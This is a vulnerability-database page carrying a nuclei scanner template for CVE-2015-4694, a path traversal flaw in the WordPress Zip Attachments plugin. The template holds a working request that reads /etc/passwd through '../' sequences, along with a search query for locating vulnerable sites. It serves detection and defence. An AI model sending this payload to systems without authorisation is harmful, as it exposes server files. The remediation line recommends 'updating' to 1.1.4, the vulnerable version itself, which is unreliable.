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WordPress Zip Attachments <= 1.1.4 - Arbitrary File Retrieval

🗓️ 22 Jun 2026 05:20:07Reported by ProjectDiscoveryType 
nuclei
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WordPress Zip Attachments <= 1.1.4 - Arbitrary File Retrieval. Arbitrary file retrieval vulnerability due to unchecked download path

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id: CVE-2015-4694

info:
  name: WordPress Zip Attachments <= 1.1.4 - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: WordPress zip-attachments plugin allows arbitrary file retrieval as it does not check the download path of the requested file.
  impact: |
    Arbitrary file retrieval
  remediation: |
    Update to the latest version of the WordPress Zip Attachments plugin (1.1.4) or remove the plugin if not needed.
  reference:
    - https://wordpress.org/plugins/zip-attachments/#developers
    - https://wpscan.com/vulnerability/8047
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4694
    - http://www.vapid.dhs.org/advisory.php?v=126
    - https://wordpress.org/plugins/zip-attachments/changelog/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2015-4694
    cwe-id: CWE-22
    epss-score: 0.15646
    epss-percentile: 0.96424
    cpe: cpe:2.3:a:zip_attachments_project:zip_attachments:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: zip_attachments_project
    product: zip_attachments
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/zip-attachments"
  tags: cve2015,cve,wp-plugin,wpscan,lfi,wordpress,zip_attachments_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022005345bc360b3d31c1a2b755125905cc3f7e7e8166c0502db52bae7f98480813a0221009545e59ca644f7ed7fde79e7c23499abeb97239bee274398f9f67204ff496bd7:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.4High risk
Vulners AI Score7.4
CVSS 25
CVSS 38.6
EPSS0.15646
16